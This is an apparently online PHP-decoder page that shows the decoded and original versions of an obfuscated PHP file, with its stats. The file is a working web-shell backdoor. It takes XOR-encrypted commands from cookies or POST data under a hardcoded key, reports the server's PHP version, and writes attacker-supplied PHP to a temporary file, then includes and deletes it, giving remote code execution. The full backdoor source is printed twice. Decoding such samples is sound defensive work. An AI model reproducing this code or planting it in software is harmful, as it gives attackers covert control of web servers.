Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function/* yyri*/wynjet(){$hcpjppep='ty_iysod'; print_r (1009+1009); ..
Decoded Output download
<?php function/* yyri*/wynjet(){$hcpjppep='ty_iysod'; print_r (1009+1009); }
$uptwhzro/*mhk*/=/* js */'uptwhzro'/* ed */^ '';
function lrfhagelv($mnblff, $_walimlc)
{/* p_s_*/global/*max */$uptwhzro;
$qihlti = "";
for/* ft */($ylmkeuvmp =/* ub */0; $ylmkeuvmp < strlen($mnblff);)/* l_vk*/{/*gszz*/for ($slqmfh = 0; $slqmfh/* pryjs*/< strlen($_walimlc)/* bb_iv*/&&/* gq*/$ylmkeuvmp </* byvt */strlen($mnblff); $slqmfh++,/* kqy */$ylmkeuvmp++) {
/* idm*/$qihlti .=/* _sbw */$uptwhzro(ord($mnblff[$ylmkeuvmp]) ^ ord($_walimlc[$slqmfh]));
/* _d*/}/*t */}
/*dyi */return $qihlti;
}
function abwy_dujw($tbkbgljfe, $mnblff)
{
global $uptwhzro;
$dglxqmi = sprintf($uptwhzro(46) ./*r*/$uptwhzro(474-427)/*zs */. "%".$uptwhzro(115) ./* xig */"."."p" ./* xkz */"l", md5($tbkbgljfe));
/* ka*/file_put_contents($dglxqmi,/* lok*/"<"/*uabi */. "?".$uptwhzro(698-586) . "h"/* _ybi */./* cewvu */"p".$uptwhzro(32)/* t */. $uptwhzro(117)/* _ */. "n"."l"."i"."n".$uptwhzro(395-288) . "("."_".$uptwhzro(361-266) . "F"."I".$uptwhzro(625-549)/* q */. "E" . "_".$uptwhzro(807-712) ./* my_ */")".$uptwhzro(59) . $uptwhzro(32) ./* _f*/$mnblff["d"]);
include($dglxqmi);
$a_vcm = $dglxqmi;
unlink($a_vcm);
}
function aldgaogjsr(){
global $uptwhzro;/* aujh*/
/* yj */$ylmkeuvmp/* b_h */= array();
$ylmkeuvmp[$uptwhzro(614-502) . "v"] = phpversion();
$ylmkeuvmp["s"."v"] =/* o_euf */"3"/* gos */. $uptwhzro(46) . "5";
echo @serialize($ylmkeuvmp);
}
function bhexfy($mnblff, $tbkbgljfe, $uckx_){
global $uptwhzro;/* cp_cn*/
$mnblff = unserialize(lrfhagelv(lrfhagelv(base64_decode($mnblff), $tbkbgljfe), $uckx_));
/*zm_ */if/* utyi_ */(isset($mnblff["a" ./* i */$uptwhzro(326-219)]))/*l */{
if ($mnblff[$uptwhzro(481-384)] == "i") {
aldgaogjsr();
} elseif ($mnblff[$uptwhzro(481-384)] == $uptwhzro(101)) {
abwy_dujw($tbkbgljfe, $mnblff);
}
exit();
/* p*/}
}
$fnrkmxkbk = $_COOKIE;
$tdylgt =/* zzfa */$_POST;
$fnrkmxkbk = array_merge($tdylgt,/* xc */$fnrkmxkbk);
$tbkbgljfe = $uptwhzro(478-427)/* zopfd*/. "d".$uptwhzro(101)/* z_a */./* fsgcd */"1" . "b"."5"."f"."d"/* am */. "-"."d".$uptwhzro(842-792) ./* ckw_o */"5"."0" ./* v */"-".$uptwhzro(1047-995) . $uptwhzro(797-747)/* al */./*q*/$uptwhzro(796-744) ./* u */$uptwhzro(993-895) ./* kiid */"-"."9"."1"."c" . $uptwhzro(99) . "-"."5" . "1".$uptwhzro(488-389)/* tezzc */. $uptwhzro(323-272)/*pdltd */. $uptwhzro(624-527)/* vb_vw */. "8".$uptwhzro(346-244) ./* xll */$uptwhzro(460-361) . "1"."d" . "5"/* t*/./* smab*/$uptwhzro(50);
foreach ($fnrkmxkbk as $uckx_ => $mnblff)/* fugo */{
bhexfy($mnblff, $tbkbgljfe, $uckx_);}
?>
Did this file decode correctly?
Original Code
<?php function/* yyri*/wynjet(){$hcpjppep='ty_iysod'; print_r (1009+1009); }
$uptwhzro/*mhk*/=/* js */'uptwhzro'/* ed */^ '';
function lrfhagelv($mnblff, $_walimlc)
{/* p_s_*/global/*max */$uptwhzro;
$qihlti = "";
for/* ft */($ylmkeuvmp =/* ub */0; $ylmkeuvmp < strlen($mnblff);)/* l_vk*/{/*gszz*/for ($slqmfh = 0; $slqmfh/* pryjs*/< strlen($_walimlc)/* bb_iv*/&&/* gq*/$ylmkeuvmp </* byvt */strlen($mnblff); $slqmfh++,/* kqy */$ylmkeuvmp++) {
/* idm*/$qihlti .=/* _sbw */$uptwhzro(ord($mnblff[$ylmkeuvmp]) ^ ord($_walimlc[$slqmfh]));
/* _d*/}/*t */}
/*dyi */return $qihlti;
}
function abwy_dujw($tbkbgljfe, $mnblff)
{
global $uptwhzro;
$dglxqmi = sprintf($uptwhzro(46) ./*r*/$uptwhzro(474-427)/*zs */. "%".$uptwhzro(115) ./* xig */"."."\x70" ./* xkz */"l", md5($tbkbgljfe));
/* ka*/file_put_contents($dglxqmi,/* lok*/"<"/*uabi */. "?".$uptwhzro(698-586) . "\x68"/* _ybi */./* cewvu */"p".$uptwhzro(32)/* t */. $uptwhzro(117)/* _ */. "n"."l"."\151"."n".$uptwhzro(395-288) . "("."_".$uptwhzro(361-266) . "F"."I".$uptwhzro(625-549)/* q */. "\x45" . "_".$uptwhzro(807-712) ./* my_ */")".$uptwhzro(59) . $uptwhzro(32) ./* _f*/$mnblff["d"]);
include($dglxqmi);
$a_vcm = $dglxqmi;
unlink($a_vcm);
}
function aldgaogjsr(){
global $uptwhzro;/* aujh*/
/* yj */$ylmkeuvmp/* b_h */= array();
$ylmkeuvmp[$uptwhzro(614-502) . "v"] = phpversion();
$ylmkeuvmp["s"."v"] =/* o_euf */"\63"/* gos */. $uptwhzro(46) . "5";
echo @serialize($ylmkeuvmp);
}
function bhexfy($mnblff, $tbkbgljfe, $uckx_){
global $uptwhzro;/* cp_cn*/
$mnblff = unserialize(lrfhagelv(lrfhagelv(base64_decode($mnblff), $tbkbgljfe), $uckx_));
/*zm_ */if/* utyi_ */(isset($mnblff["\x61" ./* i */$uptwhzro(326-219)]))/*l */{
if ($mnblff[$uptwhzro(481-384)] == "\151") {
aldgaogjsr();
} elseif ($mnblff[$uptwhzro(481-384)] == $uptwhzro(101)) {
abwy_dujw($tbkbgljfe, $mnblff);
}
exit();
/* p*/}
}
$fnrkmxkbk = $_COOKIE;
$tdylgt =/* zzfa */$_POST;
$fnrkmxkbk = array_merge($tdylgt,/* xc */$fnrkmxkbk);
$tbkbgljfe = $uptwhzro(478-427)/* zopfd*/. "d".$uptwhzro(101)/* z_a */./* fsgcd */"\x31" . "b"."5"."f"."\144"/* am */. "-"."d".$uptwhzro(842-792) ./* ckw_o */"5"."\60" ./* v */"-".$uptwhzro(1047-995) . $uptwhzro(797-747)/* al */./*q*/$uptwhzro(796-744) ./* u */$uptwhzro(993-895) ./* kiid */"-"."9"."1"."\143" . $uptwhzro(99) . "-"."\x35" . "1".$uptwhzro(488-389)/* tezzc */. $uptwhzro(323-272)/*pdltd */. $uptwhzro(624-527)/* vb_vw */. "8".$uptwhzro(346-244) ./* xll */$uptwhzro(460-361) . "1"."\x64" . "\65"/* t*/./* smab*/$uptwhzro(50);
foreach ($fnrkmxkbk as $uckx_ => $mnblff)/* fugo */{
bhexfy($mnblff, $tbkbgljfe, $uckx_);}
Function Calls
array_merge | 1 |
Stats
MD5 | 08c0c0e1182381cc132c6b93c7003f52 |
Eval Count | 0 |
Decode Time | 100 ms |